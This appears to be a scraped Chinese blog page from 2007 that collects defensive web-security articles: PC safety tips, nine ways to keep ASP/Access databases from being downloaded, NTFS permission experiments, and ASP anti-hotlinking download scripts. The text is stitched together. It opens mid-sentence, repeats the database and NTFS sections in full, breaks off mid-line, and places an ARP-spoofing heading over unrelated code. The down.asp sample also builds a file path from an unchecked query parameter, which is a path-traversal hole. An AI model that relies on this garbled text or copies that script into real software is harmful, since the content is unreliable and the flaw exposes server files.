不要太容易信任別人,不要輕易安裝和運行從那些不知名的網站(特別是不可靠的FTP站點)下載的軟件和來歷不明的軟件。有些程序可能是木馬程序,如果你一旦安裝了這些程序,它們就會在你不知情的情況下更改你的系統或者連接到遠程的服務器。這樣,黑客就可以很容易進入你的電腦。筆者并不是讓大家不信任來自Internet的任何東西,因為即使是很大的網站,都有可能遭到黑客的破壞。對于此類軟件,即使通過了一般反病毒軟件的檢查也不要輕易運行,要用如Cleaner等專門的黑客程序清除軟件檢查,并且需要提醒大家注意的是這些軟件的病毒庫文件要經常更新。同時不要讓他人隨意在您的計算機上安裝軟件。另外如果是購買二手電腦,不要購買或者使用那些曾經受過入侵,但仍未清理過硬盤的二手電腦。因為這樣很可能為黑客提供了入侵你的電腦的機會,最好
定期升級你的系統
很多常用的程序和操作系統的內核都會發現漏洞,某些漏洞會讓入侵者很容易進入到你的系統,這些漏洞會以很快的速度在黑客中傳開。如近期流傳極廣的尼姆達病毒就是針對微軟信件瀏覽器的弱點和Windows NT/2000、IIS的漏洞而編寫出的一種傳播能力很強的病毒。因此,用戶一定要小心防范。軟件的開發商會把補丁公布,以便用戶補救這些漏洞。建議用戶訂閱關于這些漏洞的郵件列表,以便及時知道這些漏洞后打上補丁,以防黑客攻擊。當然最好使用最新版本的瀏覽器軟件、電子郵件軟件以及其他程序,但不要是測試版本。
安裝防火墻
不要在沒有防火墻的情況下上網沖浪。如果你使用的是寬帶連接,例如ADSL或者光纖,那么你就會在任何時候都連上Internet,這樣,你就很有可能成為那些鬧著玩的黑客的目標。最好在不需要的時候斷開連接,如可以在你的電腦上裝上防黑客的防火墻——一種反入侵的程序作為你的電腦的門衛,以監視數據流動或是斷開網絡連接。如Lockdown2000 、ZoneAlarm、天網或者其他的一些個人防火墻軟件。另外如瑞星、江民、金山公司的最新版殺毒軟件都附有防火墻,可以起到殺毒、防黑的雙重功效,值得信賴。
禁止文件共享
局域網里的用戶喜歡將自己的電腦設置為文件共享,以方便相互之間資源共享,但是如果你設了共享的話,就為那些黑客留了后門,這樣他們就有機可乘進入你的電腦偷看你的文件,甚至搞些小破壞。建議在非設共享不可的情況下,最好為共享文件夾設置一個密碼,否則公眾以及你的對手將可以自由地訪問你的那些共享文件。
如果你在上網時遵守了以上這些準則的話,就可以在一定程度上保證個人電腦的安全,避免黑客的攻擊。
是重新格式化硬盤,并重裝操作系統。
推薦:防止ACCESS數據庫被下載的幾種方法
[ 2007-03-25 03:04:51 | 作者: sun ]
昨天和animator試驗了一下,把data.mdb文件改名為data.asp文件后放在wwwroot目錄里。然后在IE中輸入data.asp路徑后,發現IE顯示一片空白,右鍵->察看源文件,跳出記事本,將內容另存為.mdb文件,用ACCESS打開,發現需要密碼,也就是說至少文件頭被破壞。
然后用Flashget試驗下載data.asp文件,并另存為data.mdb文件,發現用ACCESS打開完好無損!看來,好一些編程人員在開發的時候都認為,改了mdb后綴為asp就能防下載的概念,是錯的!后臺數據庫被下載對于一個asp+access的網站來說無疑是一場慘絕人寰的災難。今天找了各方的文章,歸納一下有以下9種辦法防止數據庫被下載(歡迎補充)。
1.發揮你的想象力修改數據庫文件名
不用說,這是最最偷懶的方法,但是若攻擊者通過第三方途徑獲得了數據庫的路徑,就玩完了。比如說攻擊者本來只能拿到list權,結果意外看到了數據庫路徑,就可以冠冕堂皇地把數據庫下載回去研究了。另外,數據文件通常大小都比較大,起再隱蔽的文件名都瞞不了人。故保密性為最低。
2.數據庫名后綴改為ASA、ASP等
此法須配合一些要進行一些設置,否則就會出現本文開頭的那種情況。
(1)二進制字段添加。
(2)在這個文件中加入,IIS就會按ASP語法來解析,然后就會報告500錯誤,自然不能下載了。可是如果只是簡單的在數據庫的文本或者備注字段加入<%是沒用的,因為ACCESS會對其中的內容進行處理,在數據庫里他會以<%的形式存在,無效!正確的方法是將<%存入OLE對象字段里,這樣我們的目的就能達到了。
操作方法:
首先,用notepad新建一個內容為<%的文本文件,隨便起個名字存檔。
接著,用Access打開您的數據庫文件,新建一個表,隨便起個名字,在表中添加一個OLE對象的字段,然后添加一個記錄,插入之前建立的文本文件,如果操作正確的話,應該可以看到一個新的名為"數據包"的記錄。即可。
3.數據庫名前加"#"
只需要把數據庫文件前名加上#、然后修改數據庫連接文件(如conn.asp)中的數據庫地址。原理是下載的時候只能識別#號前名的部分,對于后面的自動去掉,比如你要下載:http://www.pcdigest.com/date/#123.mdb(假設存在的話)。無論是IE還是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS設置的首頁文檔)。
另外在數據庫文件名中保留一些空格也起到類似作用,由于HTTP協議對地址解析的特殊性,空格會被編碼為"%",如http://www.test.com/date/123;456.mdb,下載的時http://www.test.com/date/123%456.mdb。而我們的目錄就根本沒有123%456.mdb這個文件,所以下載也是無效的這樣的修改后,即使你暴露了數據庫地址,一般情況下別人也是無法下載!
4.加密數據庫
首先在選取"工具->安全->加密/解密數據庫,選取數據庫(如:employer.mdb),然后接確定,接著會出現"數據庫加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會被編碼,然后存為employer1.mdb..要注意的是,以上的動作并不是對數據庫設置密碼,而只是對數據庫文件加以編碼,目的是為了防止他人使用別的工具來查看數據庫文件的內容。
接下來我們為數據庫加密,首先以打開經過編碼了的employer1.mdb,在打開時,選擇"獨占"方式。然后選取功能表的"工具->安全->設置數據庫密碼",接著輸入密碼即可。這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的。
加密后要修改數據庫連接頁,如:
conn.open "driver={ microsoft access driver&nb sp;
(*.mdb) };uid=admin;pwd=數據庫密碼;dbq=數據庫路徑"
這樣修改后,數據庫即使被人下載了,別人也無法打開(前提是你的數據庫連接頁中的密碼沒有被泄露)。
但值得注意的是,由于Access數據庫的加密機制比較簡單,即使設置了密碼,解密也很容易。該數據庫系統通過將用戶輸入的密碼與某一固定密鑰進行"異或"來形成一個加密串,并將其存儲在*.mdb文件從地址"&H42"開始的區域內。所以一個好的程序員可以輕松制作一個幾十行的小程序就可以輕松地獲得任何Access數據庫的密碼。因此,只要數據庫被下載,其信息安全依然是個未知數。
5.數據庫放在WEB目錄外或將數據庫連接文件放到其他虛擬目錄下
如你的WEB目錄是e:\webroot,可以把數據庫放到e:\data這個文件夾里,在e:\webroot里的數據庫連接頁中修改數據庫連接地址為:"../data/數據庫名"的形式,這樣數據庫可以正常調用,但是無法下載的,因為它不在WEB目錄里!這個方法一般也不適合購買虛擬空間的用戶。
6.使用ODBC數據源
在ASP等程序設計中,如果有條件,應盡量使用ODBC數據源,不要把數據庫名寫在程序中,否則,數據庫名將隨ASP源代碼的失密而一同失密,例如:
DBPath = Server.MapPath("../123/ abc/asfadf.mdb ")
conn.open "driver={ Microsoft Access Driver&nb sp;(*.mdb) };dbq="& DBPath
可見,即使數據庫名字起得再怪異,隱藏的目錄再深,ASP源代碼失密后,也很容易被下載下來。如果使用ODBC數據源,就不會存在這樣的問題了:conn.open "ODBC-DSN名",不過這樣是比較煩的,目錄移動的話又要重新設置數據源了,更方便的方法請看第7,8法!
7.添加數據庫名的如MDB的擴展映射
這個方法就是通過修改IIS設置來實現,適合有IIS控制權的朋友,不適合購買虛擬主機用戶(除非管理員已經設置了)。這個方法我認為是目前最好的。只要修改一處,整個站點的數據庫都可以防止被下載。無須修改代碼即使暴露目標地址也可以防止下載。
我們在IIS屬性---主目錄---配置---映射---應用程序擴展那里添加.mdb文件的應用解析。注意這里的選擇的DLL(或EXE等)似乎也不是任意的,選擇不當,這個MDB文件還是可以被下載的,注意最好不要選擇選擇asp.dll等。你可以自己多測試下,樣修改后下載數據庫如:http://www.test.com/data/dvbbs6.mdb,就出現(404或500等錯誤)。
8.使用.net的優越性
動網的木鳥就寫過一個防非法下載文件的"WBAL防盜鏈工具"。
不過那個只實現了防止非本地下載的,沒有起到真正的防下載數據庫的功能。不過這個方法已經跟5法差不多可以通過修改.NET文件,實現本地也不能下載!
這幾個方法中,只有第7和8個是統一性改的,一次修改配置后,整個站點的數據庫都可以防止下載,其他幾個就要分別修改數據庫名和連接文件,比較麻煩,不過對于虛擬主機的朋友也只能這樣了!
其實第6個方法應該是第5個方法的擴展,可以實現特殊的功能,但對于不支持.net的主機或者怕設置麻煩的話,還是直接用第5個方法了,而且默認情況下第6個方法,依然可以通過復制連接到同主機的論壇或留言本發表,然后就可以點擊下載了。(因為這樣的引用頁是來自同主機的)
9.利用NTFS分區的文件權限設置(bypercyboy)
我們已經知道,ASP.NET中使用ADO.NET訪問數據庫,通過OleDb的連接可以訪問Access數據庫——我們非常常用的低端數據庫之一。本文討論了ASP.NET中可能看到的若干錯誤提示,從中看到Access2000和AccessXP創建的數據庫文件,在訪問出現錯誤時會出現不太相同的錯誤提示。希望對大家有所幫助。另一個要點是,希望通過此文,使大家對ASP.NET中Access數據庫文件的NTFS權限設置有所新的認識。
(一)實驗過程
為了敘述方便,舉個具體例子做個實驗:應用程序為/test,數據庫存放在D:\wwwroot\test\data\db1.mdb,我們已經知道在ASP.NET中是以一個叫做ASPNET虛擬用戶的身份訪問數據庫的,我們需要給這個賬戶以特定的NTFS權限才能使ASP.NET程序正常運行。
為了得到最嚴格的NTFS權限設置,實驗開始時我們給程序最低的NTFS權限:
a)D:\wwwroot\test\data\文件夾的給用戶ASPNET以如下權限:
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;□ □
b) D:\wwwroot\test\data\db1.mdb文件本身給用戶ASPNET以如下權限:
√允許將來自父系的可繼承權限傳播給該對象
1.1對于某個只包含有"Select"命令的aspx程序,上述權限設置運行時無障礙,即:上述權限已經滿足這類程序的運行了。
1.2對于包含有"Update""Insert""Update"等命令的aspx程序。
(a)如果db1.mdb是Access2000創建的數據庫,出現如下錯誤:
"/test"應用程序中的服務器錯誤。
MicrosoftJet數據庫引擎打不開文件'D:\wwwroot\test\data\'。 它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。
說明:執行當前Web請求期間,出現未處理的異常。請檢查堆棧跟蹤信息,以了解有關該錯誤以及代碼中導致錯誤的出處的詳細信息。
異常詳細信息:System.Data.OleDb.OleDbException:MicrosoftJet數據庫引擎打不開文件'D:\wwwroot\test\data\'。它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。
(b)如果db1.mdb是AccessXP創建的數據庫,出現如下錯誤:
"/test"應用程序中的服務器錯誤。
操作必須使用一個可更新的查詢。
說明:執行當前Web請求期間,出現未處理的異常。請檢查堆棧跟蹤信息,以了解有關該錯誤以及代碼中導致錯誤的出處的詳細信息。
異常詳細信息:System.Data.OleDb.OleDbException:操作必須使用一個可更新的查詢。
(c)原因初步分析:因為包含有"Update""Insert""Update"等命令,需要對數據庫文件本身進行寫入操作,所以上述權限不能滿足此需求,我們需要進一步放開權限。
我們放開一些權限,
a) D:\wwwroot\test\data\ 文件夾不變;
b) D:\wwwroot\test\data\db1.mdb 文件本身給用戶ASPNET以如下權限;
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;√ □
1.3 放開權限后繼續實驗
(a)如果db1.mdb是Access2000創建的數據庫,出現如下錯誤:
"/test"應用程序中的服務器錯誤。
不能鎖定文件。
說明:執行當前Web請求期間,出現未處理的異常。請檢查堆棧跟蹤信息,以了解有關該錯誤以及代碼中導致錯誤的出處的詳細信息。
異常詳細信息:System.Data.OleDb.OleDbException:不能鎖定文件。
(b)如果db1.mdb是AccessXP創建的數據庫,沒有出現錯誤。
(c)原因初步分析:我們發現在打開Access數據庫時,同時會在所在目錄生成一個同名的*.ldb文件,這是一個Access的鎖定標記。鑒于此,我們猜測,用戶ASPNET訪問Access數據庫時,也需要生成一個鎖定標記,而該目錄沒有允許其寫入,因此出錯。至于AccessXP創建的數據庫為什么沒有這個錯誤,原因還不得而知。
我們進一步放開權限,
a)D:\wwwroot\test\data\文件夾給用戶ASPNET以如下權限:
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb文件本身給用戶ASPNET以如下權限:
√允許將來自父系的可繼承權限傳播給該對象
1.4繼續實驗,發現錯誤已解決,那么上面這個權限就是我們需要放開的"最低權限"。
(a)如果db1.mdb是Access2000創建的數據庫,我們會發現一個小問題:生成的*.ldb文件不會自己刪除,訪問后該文件依然存在,但這個問題不會影響ASP.NET的正常運行。
(b)如果db1.mdb是AccessXP創建的數據庫,沒有出現上面類似問題。
(c)原因初步分析:我們僅僅是給了ASPNET以寫入文件夾的權限,沒有給它修改的權限,所以文件一旦寫入,便無法修改其內容,*.ldb也就刪除不掉了。
如果非要解決這個問題,進一步放開權限為:
a)D:\wwwroot\test\data\文件夾給用戶ASPNET以如下權限:
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;√ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb 文件本身給用戶ASPNET以如下權限:
√允許將來自父系的可繼承權限傳播給該對象
1.5附帶著,實驗另一種情形:我們把db1.mdb在Access打開編輯,同時訪問ASP.NET。
(a)如果db1.mdb是Access2000創建的數據庫,我們發現并沒有出現什么問題。
(b)如果db1.mdb是AccessXP創建的數據庫,出現如下錯誤:&nb。
然后用Flashget試驗下載data.asp文件,并另存為data.mdb文件,發現用ACCESS打開完好無損!看來,好一些編程人員在開發的時候都認為,改了mdb后綴為asp就能防下載的概念,是錯的!后臺數據庫被下載對于一個asp+access的網站來說無疑是一場慘絕人寰的災難。今天找了各方的文章,歸納一下有以下9種辦法防止數據庫被下載(歡迎補充)。
1.發揮你的想象力修改數據庫文件名
不用說,這是最最偷懶的方法,但是若攻擊者通過第三方途徑獲得了數據庫的路徑,就玩完了。比如說攻擊者本來只能拿到list權,結果意外看到了數據庫路徑,就可以冠冕堂皇地把數據庫下載回去研究了。另外,數據文件通常大小都比較大,起再隱蔽的文件名都瞞不了人。故保密性為最低。
2.數據庫名后綴改為ASA、ASP等
此法須配合一些要進行一些設置,否則就會出現本文開頭的那種情況。
(1)二進制字段添加。
(2)在這個文件中加入,IIS就會按ASP語法來解析,然后就會報告500錯誤,自然不能下載了。可是如果只是簡單的在數據庫的文本或者備注字段加入<%是沒用的,因為ACCESS會對其中的內容進行處理,在數據庫里他會以<%的形式存在,無效!正確的方法是將<%存入OLE對象字段里,這樣我們的目的就能達到了。
操作方法:
首先,用notepad新建一個內容為<%的文本文件,隨便起個名字存檔。
接著,用Access打開您的數據庫文件,新建一個表,隨便起個名字,在表中添加一個OLE對象的字段,然后添加一個記錄,插入之前建立的文本文件,如果操作正確的話,應該可以看到一個新的名為"數據包"的記錄。即可。
3.數據庫名前加"#"
只需要把數據庫文件前名加上#、然后修改數據庫連接文件(如conn.asp)中的數據庫地址。原理是下載的時候只能識別#號前名的部分,對于后面的自動去掉,比如你要下載:http://www.pcdigest.com/date/#123.mdb(假設存在的話)。無論是IE還是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS設置的首頁文檔)。
另外在數據庫文件名中保留一些空格也起到類似作用,由于HTTP協議對地址解析的特殊性,空格會被編碼為"%",如http://www.test.com/date/123;456.mdb,下載的時http://www.test.com/date/123%456.mdb。而我們的目錄就根本沒有123%456.mdb這個文件,所以下載也是無效的這樣的修改后,即使你暴露了數據庫地址,一般情況下別人也是無法下載!
4.加密數據庫
首先在選取"工具->安全->加密/解密數據庫,選取數據庫(如:employer.mdb),然后接確定,接著會出現"數據庫加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會被編碼,然后存為employer1.mdb..要注意的是,以上的動作并不是對數據庫設置密碼,而只是對數據庫文件加以編碼,目的是為了防止他人使用別的工具來查看數據庫文件的內容。
接下來我們為數據庫加密,首先以打開經過編碼了的employer1.mdb,在打開時,選擇"獨占"方式。然后選取功能表的"工具->安全->設置數據庫密碼",接著輸入密碼即可。這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的。
加密后要修改數據庫連接頁,如:
conn.open "driver={ microsoft access driver&nb sp;
(*.mdb) };uid=admin;pwd=數據庫密碼;dbq=數據庫路徑"
這樣修改后,數據庫即使被人下載了,別人也無法打開(前提是你的數據庫連接頁中的密碼沒有被泄露)。
但值得注意的是,由于Access數據庫的加密機制比較簡單,即使設置了密碼,解密也很容易。該數據庫系統通過將用戶輸入的密碼與某一固定密鑰進行"異或"來形成一個加密串,并將其存儲在*.mdb文件從地址"&H42"開始的區域內。所以一個好的程序員可以輕松制作一個幾十行的小程序就可以輕松地獲得任何Access數據庫的密碼。因此,只要數據庫被下載,其信息安全依然是個未知數。
5.數據庫放在WEB目錄外或將數據庫連接文件放到其他虛擬目錄下
如你的WEB目錄是e:\webroot,可以把數據庫放到e:\data這個文件夾里,在e:\webroot里的數據庫連接頁中修改數據庫連接地址為:"../data/數據庫名"的形式,這樣數據庫可以正常調用,但是無法下載的,因為它不在WEB目錄里!這個方法一般也不適合購買虛擬空間的用戶。
6.使用ODBC數據源
在ASP等程序設計中,如果有條件,應盡量使用ODBC數據源,不要把數據庫名寫在程序中,否則,數據庫名將隨ASP源代碼的失密而一同失密,例如:
DBPath = Server.MapPath("../123/ abc/asfadf.mdb ")
conn.open "driver={ Microsoft Access Driver&nb sp;(*.mdb) };dbq="& DBPath
可見,即使數據庫名字起得再怪異,隱藏的目錄再深,ASP源代碼失密后,也很容易被下載下來。如果使用ODBC數據源,就不會存在這樣的問題了:conn.open "ODBC-DSN名",不過這樣是比較煩的,目錄移動的話又要重新設置數據源了,更方便的方法請看第7,8法!
7.添加數據庫名的如MDB的擴展映射
這個方法就是通過修改IIS設置來實現,適合有IIS控制權的朋友,不適合購買虛擬主機用戶(除非管理員已經設置了)。這個方法我認為是目前最好的。只要修改一處,整個站點的數據庫都可以防止被下載。無須修改代碼即使暴露目標地址也可以防止下載。
我們在IIS屬性---主目錄---配置---映射---應用程序擴展那里添加.mdb文件的應用解析。注意這里的選擇的DLL(或EXE等)似乎也不是任意的,選擇不當,這個MDB文件還是可以被下載的,注意最好不要選擇選擇asp.dll等。你可以自己多測試下,樣修改后下載數據庫如:http://www.test.com/data/dvbbs6.mdb,就出現(404或500等錯誤)。
8.使用.net的優越性
動網的木鳥就寫過一個防非法下載文件的"WBAL防盜鏈工具"。
不過那個只實現了防止非本地下載的,沒有起到真正的防下載數據庫的功能。不過這個方法已經跟5法差不多可以通過修改.NET文件,實現本地也不能下載!
這幾個方法中,只有第7和8個是統一性改的,一次修改配置后,整個站點的數據庫都可以防止下載,其他幾個就要分別修改數據庫名和連接文件,比較麻煩,不過對于虛擬主機的朋友也只能這樣了!
其實第6個方法應該是第5個方法的擴展,可以實現特殊的功能,但對于不支持.net的主機或者怕設置麻煩的話,還是直接用第5個方法了,而且默認情況下第6個方法,依然可以通過復制連接到同主機的論壇或留言本發表,然后就可以點擊下載了。(因為這樣的引用頁是來自同主機的)
9.利用NTFS分區的文件權限設置(bypercyboy)
我們已經知道,ASP.NET中使用ADO.NET訪問數據庫,通過OleDb的連接可以訪問Access數據庫——我們非常常用的低端數據庫之一。本文討論了ASP.NET中可能看到的若干錯誤提示,從中看到Access2000和AccessXP創建的數據庫文件,在訪問出現錯誤時會出現不太相同的錯誤提示。希望對大家有所幫助。另一個要點是,希望通過此文,使大家對ASP.NET中Access數據庫文件的NTFS權限設置有所新的認識。
(一)實驗過程
為了敘述方便,舉個具體例子做個實驗:應用程序為/test,數據庫存放在D:\wwwroot\test\data\db1.mdb,我們已經知道在ASP.NET中是以一個叫做ASPNET虛擬用戶的身份訪問數據庫的,我們需要給這個賬戶以特定的NTFS權限才能使ASP.NET程序正常運行。
為了得到最嚴格的NTFS權限設置,實驗開始時我們給程序最低的NTFS權限:
a)D:\wwwroot\test\data\文件夾的給用戶ASPNET以如下權限:
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;□ □
b) D:\wwwroot\test\data\db1.mdb文件本身給用戶ASPNET以如下權限:
√允許將來自父系的可繼承權限傳播給該對象
1.1對于某個只包含有"Select"命令的aspx程序,上述權限設置運行時無障礙,即:上述權限已經滿足這類程序的運行了。
1.2對于包含有"Update""Insert""Update"等命令的aspx程序。
(a)如果db1.mdb是Access2000創建的數據庫,出現如下錯誤:
"/test"應用程序中的服務器錯誤。
MicrosoftJet數據庫引擎打不開文件'D:\wwwroot\test\data\'。 它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。
說明:執行當前Web請求期間,出現未處理的異常。請檢查堆棧跟蹤信息,以了解有關該錯誤以及代碼中導致錯誤的出處的詳細信息。
異常詳細信息:System.Data.OleDb.OleDbException:MicrosoftJet數據庫引擎打不開文件'D:\wwwroot\test\data\'。它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。
(b)如果db1.mdb是AccessXP創建的數據庫,出現如下錯誤:
"/test"應用程序中的服務器錯誤。
操作必須使用一個可更新的查詢。
說明:執行當前Web請求期間,出現未處理的異常。請檢查堆棧跟蹤信息,以了解有關該錯誤以及代碼中導致錯誤的出處的詳細信息。
異常詳細信息:System.Data.OleDb.OleDbException:操作必須使用一個可更新的查詢。
(c)原因初步分析:因為包含有"Update""Insert""Update"等命令,需要對數據庫文件本身進行寫入操作,所以上述權限不能滿足此需求,我們需要進一步放開權限。
我們放開一些權限,
a) D:\wwwroot\test\data\ 文件夾不變;
b) D:\wwwroot\test\data\db1.mdb 文件本身給用戶ASPNET以如下權限;
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;√ □
1.3 放開權限后繼續實驗
(a)如果db1.mdb是Access2000創建的數據庫,出現如下錯誤:
"/test"應用程序中的服務器錯誤。
不能鎖定文件。
說明:執行當前Web請求期間,出現未處理的異常。請檢查堆棧跟蹤信息,以了解有關該錯誤以及代碼中導致錯誤的出處的詳細信息。
異常詳細信息:System.Data.OleDb.OleDbException:不能鎖定文件。
(b)如果db1.mdb是AccessXP創建的數據庫,沒有出現錯誤。
(c)原因初步分析:我們發現在打開Access數據庫時,同時會在所在目錄生成一個同名的*.ldb文件,這是一個Access的鎖定標記。鑒于此,我們猜測,用戶ASPNET訪問Access數據庫時,也需要生成一個鎖定標記,而該目錄沒有允許其寫入,因此出錯。至于AccessXP創建的數據庫為什么沒有這個錯誤,原因還不得而知。
我們進一步放開權限,
a)D:\wwwroot\test\data\文件夾給用戶ASPNET以如下權限:
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb文件本身給用戶ASPNET以如下權限:
√允許將來自父系的可繼承權限傳播給該對象
1.4繼續實驗,發現錯誤已解決,那么上面這個權限就是我們需要放開的"最低權限"。
(a)如果db1.mdb是Access2000創建的數據庫,我們會發現一個小問題:生成的*.ldb文件不會自己刪除,訪問后該文件依然存在,但這個問題不會影響ASP.NET的正常運行。
(b)如果db1.mdb是AccessXP創建的數據庫,沒有出現上面類似問題。
(c)原因初步分析:我們僅僅是給了ASPNET以寫入文件夾的權限,沒有給它修改的權限,所以文件一旦寫入,便無法修改其內容,*.ldb也就刪除不掉了。
如果非要解決這個問題,進一步放開權限為:
a)D:\wwwroot\test\data\文件夾給用戶ASPNET以如下權限:
允許 拒絕
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;√ □
讀取及運行 √ □ ;
列出文件夾目錄 ; √ □
讀取 &nbs p; &nbs p;√ □
寫入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb 文件本身給用戶ASPNET以如下權限:
√允許將來自父系的可繼承權限傳播給該對象
1.5附帶著,實驗另一種情形:我們把db1.mdb在Access打開編輯,同時訪問ASP.NET。
(a)如果db1.mdb是Access2000創建的數據庫,我們發現并沒有出現什么問題。
(b)如果db1.mdb是AccessXP創建的數據庫,出現如下錯誤:&nb。
從網吧的ARP欺騙看局域網的安全管理
[ 2007-03-25 03:04:38 | 作者: sun ]
我們在管理網站文件時,可以把擴展名一樣的文件放在同一個目錄下,起一個比較特別名字,例如放pdf文件目錄為the_pdf_file_s,把下面代碼另存為down.asp,他的網上路徑為http://www.xx.com/down.asp,我們就可以用http://www.xx.com/down.asp?FileName=51windows.pdf來下載這個文件了,而且下載者無法看到這個文件實際下載路徑的!在down.asp中我們還可以設置下載文件是否需要登陸,判斷下載的來源頁是否為外部網站,從而可以做到防止文件被盜鏈。
示例代碼:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法鏈接!" '防止盜鏈
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陸!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "無效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '對圖像文件不出現下載對話框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '設置pdf類型文件目錄
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '設置DOC類型文件目錄
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '設置圖像文件目錄
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地圖片,音樂等ASP防盜鏈代碼(asp)
以下是引用片段:
以下是引用片段:
<%
'定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
(1)下面的示例將 ContentType 屬性設置為其他的常見值。
text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
asp下載防盜鏈代碼
第一種:
終于對下載系統做了個防盜鏈措施,在下載的頁面頭部做了如下代碼,相關代碼如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下載的軟件來自IT學習網,請直接從主頁下載,謝謝<br>" ’防止盜鏈
response.write "<a href=http://www.gc888.cn>IT學習網http://www.gc888.cn</a>" ’防止盜鏈
response.end
end if
%>
第二種:
以下是引用片段:
以下是引用片段:
<%
’定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
下面的示例將 ContentType 屬性設置為其他的常見值。 text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
